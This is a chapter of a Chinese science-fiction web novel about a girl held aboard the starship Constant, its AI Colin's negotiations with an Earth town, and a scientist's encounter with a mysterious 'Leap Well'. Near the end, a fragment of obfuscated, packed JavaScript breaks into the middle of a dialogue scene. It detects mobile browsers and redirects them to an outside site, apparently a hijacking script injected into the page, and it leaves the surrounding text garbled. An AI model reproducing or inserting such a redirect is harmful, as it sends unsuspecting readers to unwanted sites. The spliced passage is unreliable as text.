她赌气地爬回床上,想着自己在这里安安静静待着,直到死去,被所有的人遗忘都不会发现。她不知道自己想了多久,感觉像是过了一两个小时,结果墙壁上方的荧光屏却显示才过去了十分钟。自己的肚子倒是不由分说地开始饿了。看来在这里,即使时间没过那么久,她都可能撑不到预想的时刻。 猛然间,灯开了。她觉得无比刺眼,连忙闭上眼睛。与此同时,她感受到一种莫名其妙的振动。她很早就发现,任何人接近时都会有这种振动产生,无论人或者机器。似乎只有她才能感受到这个。果不其然,舱门滑开的声音随即而至。她望过去,期望看到一个人类,结果让她有点失望——依然是机器人。 她不认识这个机器人。机器人手里的托盘上有两个杯子,依旧像昨晚一样礼貌而温和。但这次她戒备地看着它。机器人给她道过早安,阿莱茜丝敷衍应付。随后她主动开口致谢常量号机器舰员的热情招待,但现在她改主意了,想拿到自己的悬浮板并回家。 “不再考虑一下吗?”机器人的蓝色LED眼灯眨了一下,“你在这里不会受到伤害。假肢已经在制作中,你要是出去了,就不会再有机会进来拿假肢了。这是我们的规矩。” 阿莱茜丝没想到机器人以不能再进来要挟她。“那我什么时候能走?”她直说了,“家里人很担心我的安危。我甚至没法联系他们。而且,我没有轮椅或悬浮板,连生活都没法自理。”她生气地伸手指了指距她一大截的荧光控触板。 “很遗憾,我们现在无法联络公理号。”机器人说。“你们的镇长拒绝与我们舰联络。” “那让我自己走行吗?”阿莱茜丝说,“我自己来的,我自己能回去。” “很抱歉,不行。”机器人不由分说拒绝了女孩,“我们有义务保护人类,放你走,在你们镇长拒绝与我们舰沟通的情况下,我们无法跟从你,保证你安全回到地球镇。” 格兰德为什么拒绝与常量号联络?阿莱茜丝疑惑不已。但她直觉机器人不会骗她,却又感到非常奇怪。“那假肢啥时候做好?我告诉你,我最在意的地方在于,我没法碰到那个开关,如果你没有及时进来,我会在这个房间里出意外。”她盯着机器人,“我讨厌这种无法掌控的感觉。” 机器人沉默了。 “我想最多再有一天,你们镇长应该会主动与我们沟通。”它说,“他应该能发现自己养女去向,我们也会主动尝试联络他,让他接回来。”机器人把托盘轻柔地放在桌子上。“至于这个开关,我们等会会给你拿一个活动高架协助你活动。因为悬浮板过于危险,目前留在我们那里。等到镇长过来接你时,我们再连通悬浮板一并归还。” 机器人说得头头是道,阿莱茜丝不能不相信它。“你保证啊。”她警觉地说。“如果你待会没拿活动高架过来,那我就主动拿这个东西干一些你们不想看到的事情。”她拿起托盘里的杯子,朝自己的喉咙比划一下。 “我们言出必行。此前为给你带来的麻烦致歉。”机器人鞠了个躬,转身离开了。 常量号机器人果然信守诺言。不过半小时,它就回来了,带着一个活动高架。阿莱茜丝通过活动高架调整自己的高度,还能在房间里自由活动。她的心情一下子好了起来。加上送来的舰上食物和水分安抚了饥饿,她开始主动和机器人聊天。机器人也很耐心地留了下来,听她讲地球镇上的事情,不时回答女孩的问题。 科林在幕后观察着这一切。他借由机器人之手,让女孩画出地球镇的基本布局。他看到沿海的地球镇与O区,了解到O区的信息屏蔽。他还了解到地球镇的农业情况,教育特点及部分科技情况。女孩对常量号机器人讲了这两个月来的交流情况,科林证实了时间。通过女孩两天的讲述、对她的检查及扣押悬浮板的检查,他才确定阿莱茜丝的讲述应该不是假的。这些信息立刻被汇编到CCNS,传遍整个常量号机器人。 科林在过去的12小时里,在借由其他机器人与阿莱茜丝对话同时,同样没有放过其他战俘。常量号底层舱层的战俘清醒了,他往舱层内派了更多机器人,按照作战模拟系统内的模式开始询问这些地球镇人。 一开始,苏醒过来的地球镇人要么对常量号机器人的询问置之不理,要么答非所问。常量号机器人借由全息屏投出从他们身上搜得的通讯设备和武器,加上从舰内资料习得的问话技巧,一部分地球镇人不久败下阵来。他们提供的信息与阿莱茜丝提供的信息进行相互比对,随着越来越多的信息汇入CCNS,有关地球镇昨夜行动的目的也开始浮出水面。 “为了抢夺新飞船控制权,获得新设备。”数个被俘人员给出类似结论。 结合阿莱茜丝讲的地球镇分裂局势,科林认为他们的说辞可信度高。同时为他们在地球上无法进行工业生产感到奇怪。一个极小的可能性一直在他的中枢停留。与此同时,他开始加强飞船安保。地球镇人一上来就抢船,他有些庆幸早有预判,但以前做的所有预案却无法完美实施。就目前对地球镇的了解而言,科林认为,能对常量号造成阻碍的只有时间。 这边厢,阿莱茜丝依然在与机器人兴奋对话。她对常量号尤为感兴趣。科林借用当时与舰长设计的说辞,讲述了常量号的特征及部分历史。女孩听得津津有味。尔后女孩说的话让科林有点意外,但又在情理之中:她想结识一下常量号自动驾驶。 考虑到与镇长交涉时他也需要出面解释自己的行为,加上对女孩的检查证实不是间谍。科林思考良久,决定在女孩面前现身。他让机器人打开全息屏,处理过背景,让女孩看不出自己的位置,他将自己的形象投放在女孩房间内。 阿莱茜丝没有被突然出现的景象惊吓到。她平静地看着全息屏里的人形机器人,和奥托一模一样。在昏暗的房间里,那个银色的机器人盘坐在中央,面孔中间的镜头亮着红光。她隐约看到机器人左胸刻着EP-047字样。 “你好,阿莱茜丝。”这个机器人带着特有的常量号口音,语速比奥托快。除此之外和奥托几乎一模一样。一有对比,让她感觉差别非常大。“我叫科林。很高兴结识你。” 阿莱茜丝盯着科林的影像。她一时有些嗫嚅。过了好一会才整理好思路。“你……你们不是留在舰上吗?”她问,“我以为……你在舰桥里……” 机器人眼中的红光丝毫未变,和奥托一样,看不出他的表情。“舰桥在迫降过程中被破坏了。”科林平静地说,“我的机体也受损了。现在只能这样。” 阿莱茜丝看着对方。他明明不是奥托,但他的外形与奥托太过相似,让她的思路总是跳回几个月前的生活,一时忘了自己要说什么。 “为什么打算找我?”依旧非常礼貌的询问。 阿莱茜丝这才如梦初醒。“呃,我……”她努力地组织语言,“我……和公理号自动驾驶比较熟。他最近好像发现了一些事情,可能对刚降落到地上的你们比较重要。我觉得应该直接和你说。” 科林安静地听着阿莱茜丝陈述。奥托采集雨水、查文献和发现地震、陨石坑的信息从女孩口中传出。他一边听,一边将这些信息汇总到CCNS内。最后,阿莱茜丝告诉科林,千万要小心地球镇人,他们对机器人相当不友好。 阿莱茜丝陈述完后,科林沉默了很久。“你很聪明,也很有胆识。如果不是现在情况特殊,我想我会愿意和你交友。”机器人说,“感谢你的信息。为什么愿意和我们这些陌生人说这些?” “因为这些都不是秘密。”阿莱茜丝说,“这都是地球镇上存在的事情。有人想隐瞒,但我认为如果对你们隐瞒,未来你们在地球镇内会遇到很多奇怪的麻烦。” “为什么有人要隐瞒这些事实?”科林依旧平静地问。 “我不知道。”阿莱茜丝说,“老迪从未告诉过我为什么。但我想……这些事实目前只有奥托发现了,大家都还不知道。如果他说出来,全地球镇会变乱吧。特别是现在O区还是个大麻烦。” 阿莱茜丝把自己所知都告诉科林了,通过CCNS那边的问话,科林也知道阿莱茜丝说的信息多半真实。他很想接触这个孩子。但战略上的谨慎让他不断打消这个念头。他站起身,以一种阿莱茜丝从未见过的方式郑重道谢。或许这是常量号上的礼仪之一。她把这一切看在眼里,露出早上以来首次出现的微笑。 【给房间通气。】科林经由CCNS系统,对另一处机器人下了命令。 混合无味麻醉气体的温和空气吹进阿莱茜丝的房间。她很快再度感到困倦。在房间内的机器人温和地给她盖好被子,关上了灯。4小时后将是24小时限期的一半。科林猜想,有了这个孩子,地球镇上的人可能会更加焦急。不到24小时应该就能够与他们联系。 不能是今天。劳伦斯边前往那个他从未听说过的地址边想。那个地点在O区内,发信人是他的上级。劳伦斯猜测自己离知道那个设施的真实面目不远了。但不能是今天。错,至少让我把今天的事情都干完了再说。他来不及打开通讯板,也没有机会打开通讯板。但只要板在他身上,他就不至于无计可施。 那根如假包换的头发悄悄打开了通讯板,在生物学家疾速前往那个地点的路上,他在不为人所知的情况下,同时联系了3个人。从没有任何人类能做到这样。 【地点位置确认无误。】面对他的质疑,上级如此回应。 【出现了一个新的图标,是液管压力,但只有数值没有正常范围。】汉给他报告,【但是别的状态都没出现。仪器显示已经洗干净了,为什么会这样?】 【你在说什么,劳伦斯?】露丝几乎立刻回应了他的消息,【什么叫可能你要回不来了?】 他走进一栋不起眼的楼房。楼房很破旧,外面布满了又干又脆的苔藓。门口甚至没有任何人或者东西把守。一只巨大的蜘蛛半趴在破门边的网中央,似乎在看着他。劳伦斯一直都很怕蜘蛛,这个活物就在面前,让他寒毛直竖。破门里面一阵风吹出来,除了潮气,还有一股浓重的氨味和腐败的味道,像极了醉酒人钟爱的墙壁便池。他皱着鼻子,再三确认这就是目的地,小心翼翼地推开门。里面嗡声骤起,呼地冲起一堆飞虫,分不清是一大堆苍蝇还是群蜂。有几个肥胖强壮的飞虫粘到了蛛网上,立刻让守株待兔的猎食者前去翻卷、毒杀、吸吮。 有没有搞错?他怀疑起来。劳伦斯探头进去,里面只有一条走廊,最里面是盲端,旁边连房间门都没有。远处的地上粘了些污垢,这可能是吸引那么多飞虫前来的原因。生物学家立刻警觉起来。他没有打开平板,表现得像嫌弃里面肮脏的环境般离开了破门。实际上他在警觉地观察周围环境。谁知道里面那滩污物是什么。以前盛放动物尸体的冰柜坏掉后,那可怖的场景和气味和这条走廊几乎一模一样。谁知道如果他进去,他会不会在某些推手因素下,最终变成那滩污物中的一块痕迹? 太诡异了。一定有人入侵了他上级的通讯账号,给他引到这个地方,然后趁机杀人灭迹。劳伦斯本能就想逃离。一大串名单和那些名单的记忆全回映在他脑海里,到底是什么人要害他。周围都是破房,窗户上都长了草。随便哪一个角落都可能会骤然射出什么取他性命。 逃跑显然不是个好选择。他最终选择闭上眼睛,在灰暗的天空下深吸一口凝冻的空气。然后对着空旷的废地开口了。 “我知道我以前做过很多烂事,或许是某一件让你怀恨于心,于是让你处心积虑引我到这里,要悄然取我性命。”劳伦斯对着面前的矮房说道,话语异常平静。近距离的矮墙强化了他的声音,“我知道你在这里,能听到我的话。在我死之前,我想知道为什么你要杀我。这是我最后的愿望。我也不需要知道你是谁了。怎么引我来的,就用什么方式告诉我吧。” 果然,他的平板有了反应。不能让他们发现自己可以直接读取平板内容,至少死之前不行。劳伦斯拿出来那根便携物,全息投影投射出对话。他的“上级”的确听到了他的声音。但回复并不是他想象的那种摊牌。 【我知道你心存顾虑,但我不想杀你。我有很重要的事情要告诉你,必须采取这种方式。】“上级”说,【请你根据指引前行。】 事到如今也只能暂且相信这个变态杀人狂了。劳伦斯绝望地看了一眼天空,有些遗憾最后的天景居然没有给他点最喜欢的蓝色和阳光。随后他重新面对那扇破门,无力地推开,如同傻子一般面对斑驳的破墙站着。想必你会喜欢我这个学识渊博的人像小孩一般在肮脏之所面壁思过,并且享受在这种气氛下,在我不知道的时刻洞穿我的头颅。他默默想着,不想转头面对后脑勺那把可能已经伺候良久的枪口。可真有情调啊。 枪声没有响起。也没有激光烧灼。突然,面前斑驳的墙立刻消失了一块,出现一个仅容两人的方形孔洞,里面是一个封闭的狭小空间,看起来像电梯。原来那是全息投影?劳伦斯惊诧地看着突然出现的干净电梯,不由得踏了进去。力场封住了狭小空间,随后他开始感到失重,果然是电梯。一股希望自灰暗心底涌起,死而复生的感觉让他不由得在电梯里开始放声狂笑。 不知过了多久,电梯门重新开启。当他看到一尘不染的地下室时,他知道那个愿望要实现了。但是里面没有任何人,劳伦斯有些吃惊。他本以为平板里的“上级”会在那里等着。 【欢迎来到折跃井(the Leap Well),知识发源之所。】一排全息文字呈现在地下室中央,劳伦斯不禁被吸引过去,【你将会得知“逐梦计划”的历史和部分知识。它们将为你所用。】 这和自己知道的不太一样。经历了刚刚被全息墙壁骗过的惊魂,劳伦斯不想鲁莽地踏入地下室中央。逐梦计划的历史开始播放。他小心伸手探向前方地面,果然自己的手穿透了地面。但他能摸出来底下是硬的,不是一个空洞。这个地下室似乎看出了他的心思,主动褪去全息伪装的地面。中央出现一个隆起的盖子。他走下去,铿锵的脚步声证实盖子底下确确实实是空的,或许就是折跃井所在之地。 本来他不在意那些絮絮叨叨的全息影像。但他也没想到,自己居然很快就被娓娓道来的逐梦计划历史所吸引住了。他站在中央,入迷地看着那些画面。这些全息影像或震撼,或血腥,或惊悚,或奇特,几乎囊括了科研人员所有的疯狂设想,有些已经付诸现实。但它们早已成为历史。先人的疯狂尝试一个个摆在他面前,能够让任何一个自诩善于创新的人感到无比自卑。眼花缭乱展开的历史画面膨胀到充满整个地下室,又很快一个个消失,最终坍缩回到劳伦斯面前。他面对剩下的这段历史,突然跪到地上。 他阴差阳错触及到了计划中某项未完成的实验。现在,他有资格进来了解这个课题的内容,以及附带的一大堆背景知识。他摆开重叠在一起的全息画面,其中一张吸引了他的注意。那副眼熟的银色机体悬在空中,另一份说明书密密麻麻在旁边滚过。他可以随意下载呈现在他眼前的东西,也可以带走。但是一处字样同样显眼地告知他,不可向任何人透露数据来源,否则后果自负。 什么样的后果?他无处可问。他绞尽脑汁回想之前告知他有这个地点的人,他们虽然告密了,但似乎并无大碍。他看着这段红字,不禁开始沉吟。 劳伦斯虽然知道为何会让自己来折跃井这里,但他不理解。【为什么是我?】他在等待下载期间,给“上级”发送了信息,但这个“上级”没有回应。 他感觉自己就像是实验室的笼中之鼠,自己所有的动作都被看得明明白白,但是那些“人”就只是看着,不会有任何回应。面对这些全息屏,他感到了深深的羞辱和无力。 “操。”他暗暗啐了一口。本以为快要接触到真相了,没想到不过是跳进另一个火坑,成了一堆死人的牵线木偶。 “折跃井苏醒了。”O区某处,有人报告。“并且有交换现象。” “信息性的还是物质性的?”另一个人问。 “信息性的。”甲说。 “一定有人被垂青了。”乙说。“务必找出是谁,问出呈递给他的是什么信息。”她顿了一下。“最近这一年,折跃井的活动越来越频繁,但在它从未成功接受我们的前提下,我们仍然对它一知半解。” “是。” 甲离开后,乙坐在原地,默默思考着。她忍不住想起折跃井发现伊始的那段历史,虽然她并未亲身见闻。一开始,她也一直在质疑折跃井那些玄乎其玄事件的真实性。直到折跃井又一次物质性苏醒,她拿到了折跃井活动时的重力变化资料,并且通过影像发现了那些从未见过的生物,她才打消了自己的疑虑。 据说,那曾经是个十分不起眼的池塘。里面死水一滩,污物遍布,深不见底。周围草木茂盛,但是蚊虫也相当猖狂。当时在北坡建设地球工业区的开垦工人本想像填充其他沼池一样填掉这个池塘,他们用高频波探测到池塘深度,决定抽水后填掉。结果抽水抽了很久,池塘水一点都不见少。往往是白天抽水,过了一夜,水又回到原先的高度。 当时工人们怀疑这是一个天然泉水井。但是里面的污浊和平静程度又让所有人都不敢相信这个判断。工头坚信这是地球地下水被污染后的泉眼,无论如何开足马力昼夜不停抽水,见底为止。根据白天的抽水速度,工人们也同意一直抽肯定可以见底。那时供电设备还不是那么好,他们守着发电机,不让抽水设备一刻停摆。最终,池塘被抽干了。当最后一层污泥被吸上来后,暴露在众人眼前的景象让所有人都不敢相信。 池塘底端是一幅静止的画。画面干干净净,一点淤泥都没有。画面中,明亮的绿地上有一栋破败的小楼,和地球镇的建筑遗址有点类似。除此之外毫无异样。就是过于干净和明亮的画面有些诡异。 有人想下去,很快被谨慎的同伴拉住。他们决定先试探一下。有人投了一块小石头下去,所有人都看到,被石头击中的画面中央出现了一圈圈波纹,好似画是另一片水面似的。刚刚击中它的小石头则消失在了画中。 他们再投石头,画面中央再度掀起阵阵波纹,但画面没有起浪,小楼也没有砸的稀烂。波纹平静后小楼再度恢复原先的破烂模样。他们后来甚至鼓动在场的建设机器人下去一探究竟。机器人下去了。他们看着机器人没进画面中,圆形波纹绕着机身一圈圈荡着。它消失在画中,再也没有出来。 他们呼唤机器人,久久没有回应。突然间,画面消失了,只留池塘底端不断涌出的污水。工人们都吓坏了。没有人敢亲自下去。后来这个池塘上面盖了个盖子,再没人敢去填这个池塘。往后的日子,不少人拿着各种各样的仪器进行测量,但是鲜有解释,居然也没有多流传于世。说也奇怪,盖上盖子后,出来的水倒是澄清了很多。那幅画偶尔还会出现在池塘底端。 后来它被更多的人照顾,不知谁给后来者勇气,有人挖开了池塘,但没有人敢触碰那幅画。画面也安静地趴在池底,没有干扰挖开它的来犯者。他们围起圆形的画面,在上面盖了一栋小楼,和画面中的有些类似。后来,这栋楼因为诸多原因被抛弃。鲜有亲历者能讲述里面的故事。 乙知道,这幅画有自己的思想,至少给他们呈现出这种感觉。根据资料,它会选择性地传递给人信息,这指导了那栋小楼的建设。同时,它会送一些物质过来,多数是活物。那些在地球镇活蹦乱跳的小型动物,很多种类都能从物质传递记载中找到首现。后来,对它活动时的观测基本确定了它的物理性质,这幅画终于被命名为“折跃井”。而它欣然接受了这个名字。多个从未听说它的人在接触到它后都说出了一致的名称,这是折跃井唯一接受地球镇人信息的例子。 它一年活动时间很少。物质传输时间非常规律,除此之外偶尔穿插着信息传递。它似乎知道自己坐落在地球镇工业区内,于是经常传递他们没有的工业信息,加速他们的发展。那个时候他们已经和大区有所瓜葛,不愿再度分享工业知识,并且将折跃井传递的信息据为己有。折跃井从不关心他们的政治,也不与人交流,但它总是能找到合适的人传递合适的信息。这让乙确定折跃井背后的人一定通过什么一直在观察他们,细化到每个人的职业和目前状况,他们都清清楚楚。 O区成立后,他们曾经尝试在折跃井活动期间与它的另一面交流。但是它就像一个黑洞,从不拒绝送过来的各种探测仪器,全盘吞入后,那些探测仪器就再也没有回音,各种波段都没有。他们尝试用各种方式将自己的问题传过去,折跃井也置之不理。长久以来单向的活动让O区人感到非常挫败,但是又对这个人畜无害的小虫洞无计可施。 直到去年,折跃井给人传递了一罐带满黑粉病菌的玉米螟。乙想起此,依然气愤不已。他们已经赶在那个人行动之前抓住他,千叮万嘱不要释放这里面的东西。不知道折跃井还对他说了什么,那人还是释放了玉米螟。后来乙目睹了黑粉病引起的严重农业灾害,也看过真实数据和假设是这罐玉米螟引起的疫情预测。看到数据后,她坚信这块土地上折跃井绝对不止一个。在大区人没有掌握折跃井这项情报的前提下,O区人矢口否认是他们故意释放的生物战剂。 她的手下依然固定有一批人在不断寻找其他存在的折跃井。但除了O区这个之外,他们就没有再发现过别的小虫洞。乙甚至怀疑制造折跃井的人早就发现了这个挂名为“拓荒小队”的目的,将折跃井制造得更加隐蔽。甚至存在时间极短,短到只出现一瞬,就再无重力变化,连他们最精密的仪器都探测不到。 乙猜测,去年初秋那枚在东海平面上闪耀的核弹头与折跃井在地球另一边的指挥有关。这次击毁常量号的众多卫星也与它有关。但面对他们的提问,折跃井缄口不答。他们是谁,他们要干什么,乙看不出任何目的。 据阿莱茜丝睡去3小时后,如科林所料,地球镇人果然决定与常量号对话。他们要求目前常量号的领袖现身,与地球镇领袖和平协商。 科林将机器人部署在常量号的舱壁暗道,仔细观察海岸区域情况,随时应对地球镇的新一次出其不意攻击。力场护盾已经修好,此时正以低功率开放。淡蓝色的力场隐藏在刚放晴的天空之下,仿佛覆了一层薄薄的空气干涉波纹。 向常量号驶过来的小艇在半路就被常量号机器人及复苏的人类舰员拦截。这次地球镇人没有携带武器。他们交流了协商事宜,常量号才开放新的通信频道。圆形房间背景显示镇长坐在一个逃生舱改造的会议室内,而呈现在地球镇人面前的画面中央是一个熟悉的人形机器人,但背景显示他不在舰桥,甚至看不出他在飞船的哪个部分。 “我们为昨夜擅自登舰的行为道歉。”镇长说。“本意是营救逃生人员,如你所见。”他投放出医院画面,细长的太空族躺在病床上,外骨骼被移去,以便进一步治疗。画面上显示太空族们虽然在重力下显得虚弱,但至少待遇还不错。“没想到小队中有人违背指令,擅自闯进飞船,并袭击了部分机器人。” 睁眼说瞎话。科林佩服眼前这个老人的自信。但他无意戳穿老人的谎言。“现在我们飞船稳定了。”科林单刀直入。“感谢你们昨天的辛苦营救与优待。为了减轻你们的无故负担,请让离舰的2143人返回飞船。” “很不幸,有6人不幸重伤丧命。”镇长作出悲痛的表情。“现在只有2137人幸存。鉴于他们大多数都非常虚弱,我们可以分批护送他们返回常量号。但是请你将留在你们舰上的75人也让我们接回地球镇。”顿了一顿,“治疗常量号人花费了我们的大量精力,请你体谅一下我们的盛情招待,在舰员身体健康恢复后,我们希望常量号全体舰员能够参与地球镇的建设,共创良好家园。” “这个决定我无法做主,需要全舰人员投票意见支持。”科林说。“等到全部人员归舰后,下一步建设具体方案才可提出。” “可以。但是在第一批舰员护送上船时,需要将75人同时释放。”格兰德说,“第一批舰员拟定轻伤者500人。” “最后一批舰员归舰才释放最后一批地球镇人员。”科林不由分说。“在此期间需要允许常量号人员与留地人员进行探视,不得袭击或粗暴对待探视人员。常量号也允许地球镇人上船探视剩余人员,但不得携带武器,不得阻碍舰上秩序维护行动。一旦发现,本舰有权拒绝释放地球镇人员。” “同意协议。探视事项稍后细化。请常量号第一批释放地球镇人22人。”格兰德紧缩眉头,从旁边拿起一串名单,投放在人形机器人全息屏面前。 “这是地球镇方需释放的首批500人名单。”科林将一大串名单也投放在格兰德面前。“若有牺牲人员,也一并包含在内,归还遗体与其离舰携带设备。” “同意。明日中午进行首次人员交换。”格兰德与科林达成协议。“明日中午地球镇方将会和平护送常量号舰员前往飞船。请常量号放下武装,和平接应。” 关闭全息屏后,科林想不到前一夜如此棘手的地球镇方面此次竟然如此爽快。他随后嘱咐在阿莱茜丝舱房前守护的机器人,若女孩要求离开,则立刻护送她离开飞船。 汉没有等到劳伦斯回来。他正边浏览新船降落的消息,边思考面前机器人的状况究竟是好是坏。平板里骤然弹出一条消息,他以为劳伦斯会解答他的问题,然而这条信息带来的冲击更大。劳伦斯发来的是一份文件。开头熟悉的探索者型号字样让汉一惊。没等他继续浏览,劳伦斯发话了。 【我应该是回不去了,孩子。这里面有解决方案,我的实验室里有类似的设备,按里面的要求把参数调到应有的位置。实验室密码和地址被我藏在了那份文件里,剩下的都看你了。】 原来你们一直都有探索者型号的数据?汉眯起眼睛。【为什么回不来?】 【我惹上麻烦了。】劳伦斯说,【我的判断是对的。那个地下装置找到我了。奥托他明白这是什么——】 最后一句在汉眼前仅出现了几秒就消失了。少年以为自己出现了幻觉,但那句话确实消失了,他也确实看到了“地下装置”几个字。汉忍不住看了一眼奥托。你这俩月到底发生了什么? 汉无暇理会生物学家的“麻烦”,他点开劳伦斯发的文件,所幸劳伦斯没有费尽心思藏实验室密码和地址。他看着里面详尽的EP机型资料,肩担重任感从天而降。他从未如此如饥似渴地阅读这份资料。许久过后,他的目光定在一处。然后抬起了头。 他反复确认眼前的状况的的确确与资料内的状况相符,甚至怀疑自己是不是看错了。汉仔细核对文件上的字眼,随后考虑良久,发了信息给露丝。他义无反顾走出0456房间,向生命科学中心奔去。在他关门的刹那,一只飞虫顺着门缝飞进0456房间。 “你知道O区里不能光天化日之下押解一个人吧?那是不合规的。”刚出折跃井,劳伦斯就被几个人抓住了。那些人首先把他带到一个空房里,搜索他身上有无携带新的东西。劳伦斯留意到他们的微力场屏蔽装置,这些能够抵御一定程度的突然攻击。 “例行公事。”劳伦斯不认识这些人。他们搜完他的身,没有发现携带有新的东西,“跟我们走。” “所以这会威胁我的人身安全吗?”劳伦斯这时已经将文件传到汉那边。他做好了最坏的打算。 “看情况。”其中一个人说。“等你告诉我们折跃井传递了什么信息,再决定你的自由。” “你们居然知道折跃井,但不知道她传递了什么信息?”劳伦斯大吃一惊,“我以为你们是始作俑者。” “我们不是始作俑者。”他们说。“我们也不能直接获知折跃井传递给别人的具体是什么信息。” 劳伦斯翻了个白眼。他们带着劳伦斯在O区的巷子里兜兜转转,这块地方他不熟,加上刚刚发生的一系列事情,有点晕头转向。好不容易进了一栋楼,又是进了地下室。这个地下室装潢有致,劳伦斯一眼就看出此地非一般人所可及。他们带着他进了一个房间,劳伦斯看到里面站着一个较为年长的女人。房间相当简洁,只有墙上投射着低亮度的全息屏。劳伦斯瞥了一下上面密密麻麻的字,似乎是折跃井相关的资料。 “长话短说,劳伦斯。”这个年长女人让他坐在自己对面的沙发上,只留下两个机器人在劳伦斯身后浮着待命。“折跃井给你传达了什么,请务必告诉我。” “我不知道你是谁,我也不知道如果告诉了你,折跃井会如何对我。”劳伦斯想起在井中看到的那段红字,不免有些警觉。 “折跃井会对每一个人告知不要向任何人透露信息来源,对你也如此告知了,是吗?”年长女人,乙,看穿了劳伦斯的心思。“那是让他们不要随便向O区其他人员说明此事,因为让其他人得知折跃井的存在,对我们整个地球镇并不是一件好事。” “我们是折跃井调查组,迫于它的各种未知属性,我们必须通过折跃井选择的人来获取它传递的消息。”她说。“多数时候,我们都不会干涉这些人的行动。实际上,我们几乎从未成功阻止过任何与折跃井接触过的人。” “那好,老姐,我相信任何人的智商都不会不把折跃井的警告放在眼里,我也不例外。”劳伦斯说,“你们想要信息,可以,为何要采取一种在O区内禁止的方式把我押过来?你们小组也不是法外之地吧?”他眨了一只眼睛。 “一定程度上,是的。”乙平静说道,指向身后墙上的特赦令投影。劳伦斯皱起眉头。“即使你出去找O区的人事组织投诉我们,我保证你百分百不会得到想要的结果。你有投诉的自由,但是我们也有监控你的言论的权力。”乙说,“都清楚了吗?可以讲述了吗?” 承担责任的是我又不是你们。劳伦斯盯着这个年长女人,而且你们怎么知道我到底撒谎没有。 “劳伦斯,要是撒谎,我们能一眼看出来。”乙再次看穿了他,“别忘了你在自己脑袋里装过什么东西,通过对比时间,我们能立刻知道为什么你能不操作通讯板就对外发出信号。”年长女人翘起二郎腿,“但我们一点都不关心你之前做过什么。这不会给你留下案底。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706292|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“操。”劳伦斯盯着女人说,“抓我来看忠诚度……有意思。那我就说吧。” 他把折跃井告诉他的 “逐梦计划”部分及EP机型数据告诉了女人。乙一直聚精会神听着。末尾特意问他最近在搞什么方向的研究。劳伦斯如实交代了。乙听完,靠在沙发背上。平静地看着劳伦斯。 “据我们的情报,你已经把这个数据发给了正在修理那个EP型号机器人,奥托,的少年,是吧?”乙说,得到了劳伦斯的肯定,“那我明白了。带他去楼里住一段时间。”她向劳伦斯身后的2个机器人示意。机器人立刻浮到劳伦斯身边要带他走。 “等等。”劳伦斯紧抿嘴唇,“你们要干什么?你们知道我在那边还有事情要做吧?” “放心,你的生命权能得到完整保证。只有一周,待遇好得很。后面你要做什么,与我们无关。”乙站起身,机器人架住劳伦斯的手臂,“这是信息隔离。可能你都没意识到,你已经完成信息传递了。接下来我们要看会发生什么。” 劳伦斯被机器人不由分说架了出去。“嘿,没必要拿走我的通讯板吧。”他的声音远远从楼道中传来。门关上,女人再度独处一室。 第一次,女人感到这次折跃井终于开始了动作。以前折跃井多是传递独立且客观的信息,很少涉及其他人。这一次,它传递的信息直接涉及这个EP机器人,在这个时间点上,说明它很可能想修复奥托。后续它要用奥托做什么,乙有了几个猜测,但是捏不准哪个才是真实的预判,抑或依然全部踩空。 她要保证折跃井的目标最终能够达成。这个大区来的孩子和露丝成为关键。她正要在全息屏上下笔添加折跃井的可能动作,她的小队传来信息。 【大区人发现汉·肯特在我们区,正进行严正交涉。】 【必须留他下来。顶过这一周再让他回去。】她在决策圈里投了反对票。 几近一年前的事件重演。大区以紧急追击不法分子为由,直接闯入大区进来搜查,并且直奔生命科学中心而去。女人的小队立即确认了汉的行进方位及大区人的位置。在眼花缭乱的窄巷中设下人马。大区人离汉仍有一定距离,他们等着少年通过,立即在巷口布下细丝蛛网阵。楼房间的阴影盖住了蛛网阵反光,几个人毫无防备扑了进去。他们恼怒地想扯去突然上身的极细物质,但如同撞进捕鸟网的飞鸟,越是扯动蛛丝,越是缠得紧。手指被极具弹性的人造蛛丝拉扯得动弹不得,要去伸手给同伴发信号,但关节已被扯得几乎脱臼。脖子也深陷蛛网阵中,窒息感逼得人眼珠暴突,青筋根根暴起。在不断加重的充血感中,无人敢继续挣扎。巷子楼上窗旁银光数闪,还在蛛网中苦苦挣扎的人很快忘却了恐惧。他们在麻药的作用下沉沉睡去,吊在蛛网阵中。墙上的蛛网发生器断开蛛丝,他们倒在了地上。在干燥的天气里,半小时后蛛丝即可缓解其威力。 后续到达的人见此知道遭到了伏击。他们仔细观察周围情况,确认无危险后,将自己昏迷的伙伴从地上拉起,同时汇报情况。大区人严厉谴责O区拒绝遣返少年的行为,O区以大区方式不当,可能对少年造成伤害为由,驳回大区继续搜查汉的行动,并且加强戒严。他们同意将遭到伏击的大区人送回大区治疗,并给予一定补偿。 汉已经进入生命科学中心,丝毫不知自己身后发生什么。他走进劳伦斯的实验室,找到了劳伦斯的万用小体合成装置。这个装置还在源源不断产生实验用的小体。劳伦斯曾想用此研究代血。汉停下了它的运作,重新设置参数。他反复确认参数正确,有些犹豫地按下启动键。机器再度轰鸣运作起来。 汉看着滴出的液体呈现熟悉的银色,无来由地产生一种非常不安全的庆幸感。他知道按照这个手册应该能救活奥托,但万一它写错了怎么办?他甚至不敢面对这个事情。 露丝也得知劳伦斯惹上麻烦了。虽然令她惊诧,但她有些庆幸与他的关系已经破裂。尔后接到汉的求助信息,看在那孩子是无辜的份上,她决定暂且帮他一把。此时她身边已无机器人可供调配。露丝将自己的工作存档,上传到平板内,以便在等待时能继续用平板完成一些简单的任务。 露丝输入密码,打开门,却在0456房间内发现一个不寻常的身影。那人回头,露丝睁大了眼睛。她认识眼前这个年轻的电子技师。一直以来,她只觉得这个年轻人过于内向,只沉溺于自己的研究方向,对外界不感兴趣。没想到他居然知道这里。 “我以为那少年回来这么快。没想到是您。”年轻电子技师停下手中动作,将手揣进口袋。除了对付机器人的脉冲枪,他还有更高效的激光发射器。“先辈同志,我不想把您卷入其中。所以请您离开。” 